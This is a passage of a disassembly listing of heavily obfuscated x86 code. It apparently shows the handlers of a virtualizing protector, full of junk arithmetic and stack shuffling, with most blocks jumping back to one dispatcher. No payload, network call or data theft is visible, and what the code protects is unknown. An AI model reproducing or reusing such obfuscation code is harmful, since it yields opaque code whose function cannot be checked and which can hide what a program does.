		xor	edi, 0E028B7E7h
		jmp	loc_572A89
; ---------------------------------------------------------------------------


loc_572223:				; CODE XREF: ud2_____:00571E1Fj
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_57D0A8
; ---------------------------------------------------------------------------


loc_57222C:				; CODE XREF: ud2_____:00578445j
		pop	esp
		or	[esp], eax
		pushf
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_572236:				; CODE XREF: ud2_____:0057CDA6j
		add	esp, 4
		inc	esi
		jmp	loc_576033
; ---------------------------------------------------------------------------


loc_57223F:				; CODE XREF: ud2_____:0057B969j
		add	esi, eax
		pop	eax
		push	esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_57D80C
; ---------------------------------------------------------------------------


loc_572255:				; CODE XREF: ud2_____:0057A9E1j
		xor	al, bl
		push	6122h
		mov	[esp], ecx
		push	edx
		mov	dh, 11h
		jmp	loc_5739BD
; ---------------------------------------------------------------------------


loc_572267:				; CODE XREF: ud2_____:0057C2DCj
		push	edi
		jmp	loc_573258
; ---------------------------------------------------------------------------


loc_57226D:				; CODE XREF: ud2_____:00577EC5j
		push	small 7CBDh
		mov	[esp], ax
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_57227A:				; CODE XREF: ud2_____:00579FD1j
		pop	eax
		xchg	esi, [esp]
		pop	esp
		add	dword ptr [esp], 50BF197Ch
		sub	dword ptr [esp], 77CC1E3Ah
		jmp	loc_577B41
; ---------------------------------------------------------------------------


loc_572292:				; CODE XREF: ud2_____:0057B67Ej
		mov	dh, 0D6h
		xor	dh, 0FBh
		jmp	loc_576F3F
; ---------------------------------------------------------------------------


loc_57229C:				; CODE XREF: ud2_____:0057DCC8j
		sub	ebp, edx
		pop	edx
		add	ebp, 2DF1FC79h
		mov	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		or	ebx, 104D53C0h
		xor	ebx, 51ED57E9h
		add	ecx, ebx
		pop	ebx
		add	ecx, 4
		jmp	loc_577C75
; ---------------------------------------------------------------------------


loc_5722CA:				; CODE XREF: ud2_____:00573AAEj
		sub	edi, 1E203A54h
		jmp	loc_57A568
; ---------------------------------------------------------------------------


loc_5722D5:				; CODE XREF: ud2_____:00574FD5j
		mov	cl, 44h
		mov	dl, cl
		pop	ecx
		sub	bl, 0E5h
		add	bl, dl
		add	bl, 0E5h
		pop	dx
		jmp	loc_57266C
; ---------------------------------------------------------------------------


loc_5722E9:				; CODE XREF: ud2_____:0057713Cj
		mov	ecx, 4537226Dh
		not	ecx
		and	ecx, 504479C8h
		shr	ecx, 5
		jmp	loc_577AC4
; ---------------------------------------------------------------------------


loc_5722FE:				; CODE XREF: ud2_____:0057AC4Ej
		sub	esp, 4
		mov	[esp], ebp
		push	3FCh
		mov	ebp, [esp]
		add	esp, 4
		add	edi, ebp
		push	dword ptr [esp]
		pop	ebp
		push	694h
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		push	298h
		mov	[esp], ebp
		mov	ebp, 42184963h
		shl	ebp, 8
		and	ebp, 2587F1Dh
		shl	ebp, 8
		and	ebp, 39057DE2h
		xor	ebp, 8010004h
		add	esi, ebp
		pop	ebp
		xchg	esi, [esp]
		mov	esp, [esp]
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	ecx
		push	5398h
		mov	[esp], edx
		mov	edx, 53B208D8h
		sub	edx, 0FF719CB5h
		mov	ecx, edx
		jmp	loc_57B271
; ---------------------------------------------------------------------------


loc_572377:				; CODE XREF: ud2_____:00575DEEj
		add	eax, 4
		push	edx
		jmp	loc_57AAC5
; ---------------------------------------------------------------------------


loc_572382:				; CODE XREF: ud2_____:00572D42j
		not	ebp
		jmp	loc_57C2C8
; ---------------------------------------------------------------------------


loc_572389:				; CODE XREF: ud2_____:0057283Aj
		pop	esp
		sub	cl, 0Dh
		mov	bh, cl
		jmp	loc_575AC2
; ---------------------------------------------------------------------------


loc_572394:				; CODE XREF: ud2_____:00575D96j
		mov	fs:[edx], al
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_57239C:				; CODE XREF: ud2_____:00573C11j
		mov	eax, ebx
		pop	ebx
		jmp	loc_57A5F8
; ---------------------------------------------------------------------------


loc_5723A4:				; CODE XREF: ud2_____:00577D42j
		mov	[esp], ebp
		push	esi
		mov	esi, 0B4B1561h
		mov	ebp, esi
		pop	esi
		push	eax
		mov	eax, 662C1878h
		xor	eax, 6BBE6A68h
		add	eax, 314B547Fh
		xor	eax, 7F15648Ch
		shr	eax, 4
		push	7D1Eh
		mov	[esp], esi
		push	eax
		mov	eax, 57282135h
		jmp	loc_575C8D
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		mov	eax, [esp]
		push	ebx
		jmp	loc_574BA7
; ---------------------------------------------------------------------------


loc_5723E7:				; CODE XREF: ud2_____:0057582Dj
		pop	ecx
		jmp	loc_57817E
; ---------------------------------------------------------------------------


loc_5723ED:				; CODE XREF: ud2_____:00576997j
		pop	ecx
		jmp	loc_57707A
; ---------------------------------------------------------------------------


loc_5723F3:				; CODE XREF: ud2_____:00573448j
		push	edi
		mov	edi, 3AC61893h
		neg	edi
		neg	edi
		xor	edi, 3AC61897h
		jmp	loc_57A7FC
; ---------------------------------------------------------------------------


loc_572408:				; CODE XREF: ud2_____:0057A0F9j
		pop	eax
		pop	edi
		push	773Ch
		mov	[esp], edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_57AFE5
; ---------------------------------------------------------------------------


loc_572424:				; CODE XREF: ud2_____:0057CDF5j
		mov	ebx, edi
		mov	edi, [esp]
		jmp	loc_57A8AC
; ---------------------------------------------------------------------------


loc_57242E:				; CODE XREF: ud2_____:0057B028j
		mov	edi, 147B201Ah
		jmp	loc_57561C
; ---------------------------------------------------------------------------


loc_572438:				; CODE XREF: ud2_____:00575A91j
		sub	esp, 4
		jmp	loc_575A7F
; ---------------------------------------------------------------------------


loc_572443:				; CODE XREF: ud2_____:00578FD9j
		pop	ebx
		jmp	loc_57AC7D
; ---------------------------------------------------------------------------


loc_572449:				; CODE XREF: ud2_____:00573CD6j
		xchg	edi, [esp]
		mov	esp, [esp]
		rol	dword ptr [esp], cl
		pushf
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_572458:				; CODE XREF: ud2_____:00574817j
		mov	[esp], eax
		mov	ah, 9
		shl	ah, 4
		shl	ah, 1
		jmp	loc_57AF1B
; ---------------------------------------------------------------------------


loc_572467:				; CODE XREF: ud2_____:005771C7j
		push	edi
		mov	edi, 50C0B6Ah
		push	esi
		mov	esi, 50C0B66h
		sub	edi, esi
		jmp	loc_57C93A
; ---------------------------------------------------------------------------


loc_57247A:				; CODE XREF: ud2_____:00573609j
		mov	ecx, esp
		jmp	loc_576352
; ---------------------------------------------------------------------------


loc_572481:				; CODE XREF: ud2_____:005755B0j
		sub	esp, 4
		mov	[esp], eax
		pop	esi
		push	eax
		mov	eax, esp
		jmp	loc_57B330
; ---------------------------------------------------------------------------


loc_572490:				; CODE XREF: ud2_____:0057BAC5j
		push	esi
		push	esp
		pop	esi
		push	eax
		sub	esp, 4
		jmp	loc_577E2A
; ---------------------------------------------------------------------------


loc_57249C:				; CODE XREF: ud2_____:005798C2j
		add	esi, 76241C57h
		jmp	loc_57B653
; ---------------------------------------------------------------------------


loc_5724A7:				; CODE XREF: ud2_____:0057AFE8j
		mov	esp, [esp]
		div	cx
		push	small 134Bh
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_5724BD:				; CODE XREF: ud2_____:0057AE7Bj
		mov	esp, [esp]
		mov	[esp], ebx
		jmp	loc_578562
; ---------------------------------------------------------------------------


loc_5724C8:				; CODE XREF: ud2_____:005778B6j
		pop	ecx
		xchg	esi, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], eax
		push	16E33956h
		jmp	loc_572EDB
; ---------------------------------------------------------------------------


loc_5724E3:				; CODE XREF: ud2_____:00573360j
		push	dword ptr [esp]
		jmp	loc_577839
; ---------------------------------------------------------------------------


loc_5724EB:				; CODE XREF: ud2_____:00572E58j
		sub	edi, 6B4F7EF8h
		mov	ebp, edi
		pop	edi
		and	[edi+1Ch], ebp
		pop	ebp
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_5724FD:				; CODE XREF: ud2_____:0057A145j
		push	eax
		push	edi
		mov	edi, 66C24D58h
		mov	eax, edi
		mov	edi, [esp]
		add	esp, 4
		push	eax
		inc	dword ptr [esp]
		jmp	loc_57ACF9
; ---------------------------------------------------------------------------


loc_572515:				; CODE XREF: ud2_____:00578E19j
		sub	ecx, 9234A36Bh
		mov	ebp, ecx
		pop	ecx
		jmp	loc_57D558
; ---------------------------------------------------------------------------


loc_572523:				; CODE XREF: ud2_____:0057D1C4j
		push	ebx
		mov	ebx, 184932C6h
		xor	ebp, ebx
		pop	ebx
		jmp	loc_577ADA
; ---------------------------------------------------------------------------


loc_572531:				; CODE XREF: ud2_____:0057B0BBj
		push	edi
		push	5499h
		mov	[esp], ebx
		jmp	loc_5764FE
; ---------------------------------------------------------------------------


loc_57253F:				; CODE XREF: ud2_____:0057AAC0j
		push	eax
		not	dword ptr [esp]
		pop	eax
		xor	edx, eax
		xor	eax, edx
		xor	edx, eax
		jmp	loc_57883A
; ---------------------------------------------------------------------------


loc_57254F:				; CODE XREF: ud2_____:0057B566j
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 1
		mov	ebp, ebx
		mov	ebx, [esp]
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		push	esi
		mov	esi, 4
		sub	ebp, 4BD736D6h
		add	ebp, esi
		add	ebp, 4BD736D6h
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_576A79
; ---------------------------------------------------------------------------


loc_572594:				; CODE XREF: ud2_____:00577BDEj
		mov	eax, 4
		sub	ebx, eax
		pop	eax
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_57284D
; ---------------------------------------------------------------------------


loc_5725A5:				; CODE XREF: ud2_____:0057AF79j
		mov	[esp], ebx
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_576BCF
; ---------------------------------------------------------------------------


loc_5725B3:				; CODE XREF: ud2_____:0057ACB0j
		jmp	loc_571AAA
; ---------------------------------------------------------------------------
		lodsb
		jmp	loc_574E54
; ---------------------------------------------------------------------------


loc_5725BE:				; CODE XREF: ud2_____:0057C68Cj
		sub	bl, 70h
		mov	eax, [esp]
		add	esp, 4
		push	5DBCh
		mov	[esp], ecx
		push	ebx
		jmp	loc_578097
; ---------------------------------------------------------------------------


loc_5725D5:				; CODE XREF: ud2_____:00575010j
		push	6F5Bh
		mov	[esp], edx
		push	esi
		push	38C30BFEh
		jmp	loc_57DA3A
; ---------------------------------------------------------------------------


loc_5725E8:				; CODE XREF: ud2_____:00572E69j
		push	edx
		mov	edx, 21D12A8Dh
		mov	ebx, edx
		jmp	loc_57A2FC
; ---------------------------------------------------------------------------


loc_5725F5:				; CODE XREF: ud2_____:00574DD8j
		push	208F52C9h
		pop	ebp
		or	ebp, 33F87F55h
		jmp	loc_57867F
; ---------------------------------------------------------------------------


loc_572606:				; CODE XREF: ud2_____:00573C82j
		mov	ebx, [esp]
		jmp	loc_57DB80
; ---------------------------------------------------------------------------


loc_57260E:				; CODE XREF: ud2_____:00574624j
		push	edi
		jmp	loc_5794AB
; ---------------------------------------------------------------------------


loc_572614:				; CODE XREF: ud2_____:005787E4j
		add	esp, 4
		add	eax, 67114FFEh
		add	eax, edx
		jmp	loc_57B39F
; ---------------------------------------------------------------------------


loc_572626:				; CODE XREF: ud2_____:0057BB5Aj
		mov	ebx, 4AF0397h
		shl	ebx, 4
		or	ebx, 688571D5h
		add	ebx, 9F64CC5h
		jmp	loc_576C6F
; ---------------------------------------------------------------------------


loc_57263F:				; CODE XREF: ud2_____:0057C87Ej
		push	1F86h
		mov	[esp], ebp
		mov	ebp, 3FFD31FDh
		and	ebp, 61CF72E2h
		add	ebp, 0FFFFFFFFh
		or	ebp, 48800E77h
		inc	ebp
		xor	ebp, 2A9B69DCh
		xor	ecx, ebp
		jmp	loc_57D0C1
; ---------------------------------------------------------------------------


loc_57266C:				; CODE XREF: ud2_____:005722E4j
		add	bl, ch
		sub	bl, 44h
		mov	cx, [esp]
		jmp	loc_57D73A
; ---------------------------------------------------------------------------
		lodsd
		sub	esp, 4
		mov	[esp], edx
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_574F3D
; ---------------------------------------------------------------------------
		lodsd
		sub	eax, 4C107B55h
		push	ebx
		mov	ebx, 17DF7BADh
		add	eax, ebx
		pop	ebx
		sub	eax, ebx
		push	esi
		mov	esi, 17DF7BADh
		jmp	loc_57C150
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	eax
		push	7C7Ch
		mov	[esp], eax
		push	esp
		pop	eax
		push	ebx
		mov	ebx, 4
		jmp	loc_57DA24
; ---------------------------------------------------------------------------


loc_5726C4:				; CODE XREF: ud2_____:0057C2D6j
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_572B39
; ---------------------------------------------------------------------------


loc_5726E1:				; CODE XREF: ud2_____:0057D988j
		add	eax, 272A654Fh
		pop	ebp
		push	edx
		mov	edx, 2
		sub	eax, edx
		pop	edx
		xor	eax, [esp]
		jmp	loc_57717A
; ---------------------------------------------------------------------------


loc_5726F8:				; CODE XREF: ud2_____:0057A575j
		mov	ebx, esi
		pop	esi
		jmp	loc_577A62
; ---------------------------------------------------------------------------


loc_572700:				; CODE XREF: ud2_____:0057CCF0j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_57403C
; ---------------------------------------------------------------------------


loc_57271B:				; CODE XREF: ud2_____:0057A780j
		mov	eax, esi
		pop	esi
		shl	eax, 8
		and	eax, 12765D3Eh
		and	eax, 7C990A25h
		and	eax, 214D3BBDh
		xor	eax, 4D001F94h
		and	edx, eax
		jmp	loc_57BED8
; ---------------------------------------------------------------------------


loc_57273C:				; CODE XREF: ud2_____:0057A8A7j
		push	635Fh
		mov	[esp], ecx
		mov	ecx, ebp
		mov	edx, ecx
		pop	ecx
		pop	ebp
		jmp	loc_57ACAF
; ---------------------------------------------------------------------------


loc_57274F:				; CODE XREF: ud2_____:0057A4DCj
		add	ebx, eax
		sub	ebx, 23695C9Ah
		push	ecx
		push	0AE15680h
		pop	ecx
		sub	ebx, ecx
		pop	ecx
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 0B3C6F3Ah
		add	ebx, ecx
		pop	ecx
		jmp	loc_577BCF
; ---------------------------------------------------------------------------


loc_572774:				; CODE XREF: ud2_____:00577084j
		xor	eax, 4B8C246Ah
		and	eax, 308C65DBh
		jmp	loc_57AF7E
; ---------------------------------------------------------------------------


loc_572783:				; CODE XREF: ud2_____:00579C87j
		push	430725DFh
		mov	esi, [esp]
		add	esp, 4
		xor	esi, 6A402849h
		neg	esi
		jmp	loc_57795C
; ---------------------------------------------------------------------------


loc_57279B:				; CODE XREF: ud2_____:0057A5ADj
		sub	edx, 0A6AAF621h
		or	ecx, edx
		pop	edx
		xor	ecx, 64E357A7h
		or	edx, ecx
		pop	ecx
		neg	edx
		xor	edx, 4C880h


loc_5727B5:				; CODE XREF: ud2_____:00574B71j
					; ud2_____:00576E0Cj
		push	571Ah
		mov	[esp], edi
		push	2F5Bh
		mov	[esp], esi
		push	ebx
		pop	esi
		mov	edi, esi
		mov	esi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_5773E5
; ---------------------------------------------------------------------------


loc_5727E0:				; CODE XREF: ud2_____:005799CBj
		or	edi, 530D6A98h
		add	edi, 254A8E32h
		jmp	loc_575E22
; ---------------------------------------------------------------------------


loc_5727F1:				; CODE XREF: ud2_____:00577584j
		add	edx, 180A5631h
		add	edx, 68015AE6h
		pop	edi
		sub	eax, edx
		mov	edx, [esp]
		jmp	loc_573681
; ---------------------------------------------------------------------------


loc_572808:				; CODE XREF: ud2_____:0057C5A7j
		add	eax, 0F7FED704h
		add	edi, eax
		pop	eax
		push	esi
		mov	esi, 2
		jmp	loc_574798
; ---------------------------------------------------------------------------


loc_57281B:				; CODE XREF: ud2_____:00576DF4j
		pop	ebx
		add	al, ch
		pop	ecx
		push	ecx
		push	edx
		push	ebx
		mov	bh, 37h
		push	ecx
		mov	ch, 0EAh
		jmp	loc_57BEB8
; ---------------------------------------------------------------------------


loc_57282C:				; CODE XREF: ud2_____:0057D619j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_572389
; ---------------------------------------------------------------------------


loc_57283F:				; CODE XREF: ud2_____:00577AD5j
		pop	ebp
		add	ebp, 1658085Ch
		add	ebp, ecx
		jmp	loc_5772BC
; ---------------------------------------------------------------------------


loc_57284D:				; CODE XREF: ud2_____:005725A0j
		mov	[esp], edi
		mov	edi, 4
		add	esi, 46CB4BB3h
		jmp	loc_5794FA
; ---------------------------------------------------------------------------


loc_572860:				; CODE XREF: ud2_____:0057762Bj
		sub	eax, 0C4432C7h
		pop	esi
		sub	eax, 4603677h
		sub	eax, 3D204BAEh
		jmp	loc_571C22
; ---------------------------------------------------------------------------


loc_572875:				; CODE XREF: ud2_____:0057564Bj
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		push	1FF13122h
		jmp	loc_57580E
; ---------------------------------------------------------------------------


loc_5728A2:				; CODE XREF: ud2_____:005744BBj
		neg	edi
		push	edx
		mov	edx, 2D2D0279h
		sub	edx, 5E820C5h
		not	edx
		push	ebx
		mov	ebx, 1BE5773h
		add	ebx, 0FC9F983Fh
		xor	edx, ebx
		jmp	loc_5762A0
; ---------------------------------------------------------------------------


loc_5728C5:				; CODE XREF: ud2_____:0057A544j
		pop	ebp
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_5781B3
; ---------------------------------------------------------------------------


loc_5728D1:				; CODE XREF: ud2_____:00579684j
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		add	dword ptr [esp], 1BFA78DEh
		jmp	loc_5782E1
; ---------------------------------------------------------------------------


loc_5728F1:				; CODE XREF: ud2_____:00578FDFj
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		jmp	loc_57870A
; ---------------------------------------------------------------------------


loc_572902:				; CODE XREF: ud2_____:005742FCj
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		push	small word ptr [eax]
		jmp	loc_57B279
; ---------------------------------------------------------------------------


loc_572914:				; CODE XREF: ud2_____:00579054j
		push	dword ptr [esp]
		pop	eax
		push	ebp
		push	esp
		push	dword ptr [esp]
		pop	ebp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_57B550
; ---------------------------------------------------------------------------


loc_572932:				; CODE XREF: ud2_____:0057637Fj
		mov	[esp], ebx
		jmp	loc_57A785
; ---------------------------------------------------------------------------


loc_57293A:				; CODE XREF: ud2_____:0057697Dj
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		add	ecx, edx
		mov	[ecx], esi
		pop	ecx
		pop	esi
		jmp	loc_57A62D
; ---------------------------------------------------------------------------


loc_572957:				; CODE XREF: ud2_____:00579426j
		mov	edi, esp
		add	edi, 4
		jmp	loc_576569
; ---------------------------------------------------------------------------


loc_572964:				; CODE XREF: ud2_____:005743A4j
		pop	ecx
		jmp	loc_5776C7
; ---------------------------------------------------------------------------


loc_57296A:				; CODE XREF: ud2_____:00575204j
		neg	esi
		or	esi, 114F7826h
		push	ebx
		mov	ebx, 293747ECh
		jmp	loc_57A075
; ---------------------------------------------------------------------------


loc_57297D:				; CODE XREF: ud2_____:00572074j
		xchg	ebp, [esp]
		mov	edx, [esp]
		add	esp, 4
		push	3863h
		mov	[esp], edx
		jmp	loc_578C66
; ---------------------------------------------------------------------------


loc_572993:				; CODE XREF: ud2_____:00578C46j
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_57680A
; ---------------------------------------------------------------------------


loc_57299C:				; CODE XREF: ud2_____:0057C466j
		push	ecx
		jmp	loc_5744AD
; ---------------------------------------------------------------------------


loc_5729A2:				; CODE XREF: ud2_____:0057A9B1j
		add	edx, 18495310h
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 449C44DBh
		dec	eax
		push	ecx
		mov	ecx, 2AC0BE39h
		add	eax, ecx
		jmp	loc_575434
; ---------------------------------------------------------------------------


loc_5729C4:				; CODE XREF: ud2_____:00579A96j
		mov	edx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_576508
; ---------------------------------------------------------------------------


loc_5729DB:				; CODE XREF: ud2_____:0057DB12j
		push	esp
		jmp	loc_574C76
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, esp
		jmp	loc_5793A5
; ---------------------------------------------------------------------------


loc_5729FF:				; CODE XREF: ud2_____:0057339Ej
		push	esi
		jmp	loc_576C45
; ---------------------------------------------------------------------------


loc_572A05:				; CODE XREF: ud2_____:0057C14Bj
		push	esi
		mov	esi, 180C7D46h
		dec	esi
		not	esi
		dec	esi
		push	eax
		jmp	loc_57212F
; ---------------------------------------------------------------------------


loc_572A15:				; CODE XREF: ud2_____:0057617Aj
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_572A1A:				; CODE XREF: ud2_____:00578AC2j
		mov	edi, 4
		add	edx, edi
		mov	edi, [esp]
		add	esp, 4
		sub	edx, 2
		jmp	loc_577AEA
; ---------------------------------------------------------------------------


loc_572A2F:				; CODE XREF: ud2_____:005721EAj
		pop	esi
		add	esp, 4
		jmp	loc_574FB4
; ---------------------------------------------------------------------------


loc_572A38:				; CODE XREF: ud2_____:0057B04Aj
		and	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		shr	eax, 8
		xor	eax, ecx
		sub	esp, 4
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_5738CD
; ---------------------------------------------------------------------------


loc_572A5C:				; CODE XREF: ud2_____:00571D80j
		add	esp, 4
		pop	edi
		shl	eax, cl
		push	60Ah
		mov	[esp], ecx
		jmp	loc_5799FE
; ---------------------------------------------------------------------------


loc_572A72:				; CODE XREF: ud2_____:0057A046j
		add	edi, ebx
		pop	ebx
		shl	edi, 7
		push	esi
		mov	esi, 71757AEFh
		xor	esi, 7D145982h
		jmp	loc_575F02
; ---------------------------------------------------------------------------


loc_572A89:				; CODE XREF: ud2_____:0057221Ej
		mov	ebp, edi
		pop	edi
		or	ebp, 3E6F17F5h
		push	edi
		jmp	loc_57BC79
; ---------------------------------------------------------------------------


loc_572A98:				; CODE XREF: ud2_____:0057C53Dj
		mov	ebp, 74BECA8Ah
		jmp	loc_575316
; ---------------------------------------------------------------------------


loc_572AA2:				; CODE XREF: ud2_____:005773FAj
		sub	al, 86h
		pop	edx
		push	dx
		jmp	loc_574312
; ---------------------------------------------------------------------------


loc_572AAC:				; CODE XREF: ud2_____:0057AEB6j
		add	eax, 647279BBh
		xor	eax, 47553CF2h
		jmp	loc_571EA9
; ---------------------------------------------------------------------------


loc_572ABB:				; CODE XREF: ud2_____:0057361Bj
		pop	esp
		jmp	loc_57AC9C
; ---------------------------------------------------------------------------


loc_572AC1:				; CODE XREF: ud2_____:005753B6j
		pop	edi
		pop	ebp
		add	ebp, 4
		jmp	loc_574224
; ---------------------------------------------------------------------------


loc_572ACE:				; CODE XREF: ud2_____:00571E48j
		pop	eax
		jmp	loc_574B27
; ---------------------------------------------------------------------------


loc_572AD4:				; CODE XREF: ud2_____:0057C959j
		push	eax
		mov	eax, 6F520BA3h
		shl	eax, 7
		not	eax
		sub	eax, 56FA2E7Bh
		sub	ebp, eax
		pop	eax
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		push	43D5h
		mov	[esp], ebp
		mov	ebp, 2
		add	edi, 31565EC8h
		jmp	loc_574352
; ---------------------------------------------------------------------------


loc_572B0E:				; CODE XREF: ud2_____:0057D66Ej
		push	6926h
		jmp	loc_574629
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	75E4h
		mov	[esp], edi
		mov	edi, esp
		push	ecx
		push	edx
		mov	edx, 31E87EEBh
		jmp	loc_57BC8D
; ---------------------------------------------------------------------------


loc_572B32:				; CODE XREF: ud2_____:0057BEE9j
		neg	edi
		jmp	loc_57A291
; ---------------------------------------------------------------------------


loc_572B39:				; CODE XREF: ud2_____:005726DCj
		pop	esp
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_57B322
; ---------------------------------------------------------------------------


loc_572B53:				; CODE XREF: ud2_____:00574DD0j
		push	esp
		pop	esi
		add	esi, 4
		jmp	loc_573B63
; ---------------------------------------------------------------------------


loc_572B60:				; CODE XREF: ud2_____:0057694Bj
		pop	ebp
		xchg	ecx, [esp]
		mov	esp, [esp]
		shr	word ptr [esp],	cl
		pushf
		jmp	loc_57A999
; ---------------------------------------------------------------------------


loc_572B71:				; CODE XREF: ud2_____:0057A825j
		push	2D7Ah
		mov	[esp], edx
		mov	edx, 133D31F6h
		jmp	loc_573235
; ---------------------------------------------------------------------------


loc_572B83:				; CODE XREF: ud2_____:00577FC6j
		sub	ecx, ebx
		pop	ebx
		add	ecx, edi
		push	eax
		mov	eax, 378E0343h
		inc	eax
		dec	eax
		not	eax
		sub	eax, 0B8FFBCBEh
		add	ecx, eax
		pop	eax
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4D0E15C4h
		sub	ebx, 62981C7Eh
		sub	ebx, 1
		xor	ebx, 0D27292CAh
		jmp	loc_57B0C7
; ---------------------------------------------------------------------------


loc_572BB9:				; CODE XREF: ud2_____:00578BF2j
		sub	ebp, 4FE47B10h
		add	ebp, ecx
		add	ebp, 4FE47B10h
		mov	ecx, [esp]
		jmp	loc_573E33
; ---------------------------------------------------------------------------


loc_572BCF:				; CODE XREF: ud2_____:0057B42Fj
		sub	dh, 1
		jmp	loc_57C4AA
; ---------------------------------------------------------------------------


loc_572BD7:				; CODE XREF: ud2_____:0057430Dj
		sub	ebx, 4
		jmp	loc_57AE78
; ---------------------------------------------------------------------------


loc_572BE2:				; CODE XREF: ud2_____:00579A24j
		pop	edi
		push	ebp
		mov	ebp, 31B1650Bh
		and	ebp, 607D39BBh
		push	eax
		mov	eax, 2400361Eh
		inc	eax
		xor	eax, 203C38C2h
		jmp	loc_578EF6
; ---------------------------------------------------------------------------


loc_572C00:				; CODE XREF: ud2_____:0057C23Cj
		pop	ebx
		add	[esp+4], ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_572C13:				; CODE XREF: ud2_____:0057641Ej
		mov	[esp], eax
		mov	eax, 6CCD5310h
		sub	eax, 0FEF060Bh
		shl	eax, 3
		sub	eax, 65800690h
		add	eax, 19A0597Ah
		sub	eax, 9B12BB0Eh
		add	ecx, eax
		pop	eax
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		push	dword ptr [edi+eax*4]
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_577455
; ---------------------------------------------------------------------------


loc_572C58:				; CODE XREF: ud2_____:0057A4BEj
		push	5585h
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	edi
		push	eax
		mov	eax, 3D8B55B9h
		shl	eax, 3
		shr	eax, 7
		or	eax, 24F87AD9h
		jmp	loc_578D9E
; ---------------------------------------------------------------------------


loc_572C7F:				; CODE XREF: ud2_____:00572D87j
		mov	edx, 325B5665h
		and	edx, 6FEC7BE3h
		sub	edx, 715E56EAh
		push	edi
		mov	edi, 2C054C7Dh
		sub	edi, 4BB73CF5h
		shr	edi, 1
		inc	edi
		xor	edi, 3DA01D9Ch
		shl	edi, 4
		jmp	loc_571D85
; ---------------------------------------------------------------------------


loc_572CAD:				; CODE XREF: ud2_____:00576F89j
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		sub	eax, ebx
		sub	eax, 24B44C1Fh
		push	esi
		jmp	loc_57C903
; ---------------------------------------------------------------------------


loc_572CC1:				; CODE XREF: ud2_____:0057C702j
		sub	esi, ebx
		pop	ebx
		add	esi, eax
		push	edi
		push	ebx
		push	7A253DD7h
		pop	ebx
		add	ebx, 0A0401977h
		mov	edi, ebx
		pop	ebx
		add	esi, edi
		mov	edi, [esp]
		add	esp, 4
		pop	eax
		add	esi, 2
		jmp	loc_57766D
; ---------------------------------------------------------------------------


loc_572CEE:				; CODE XREF: ud2_____:00575373j
		mov	[esp], ecx
		push	edi
		jmp	loc_5782C2
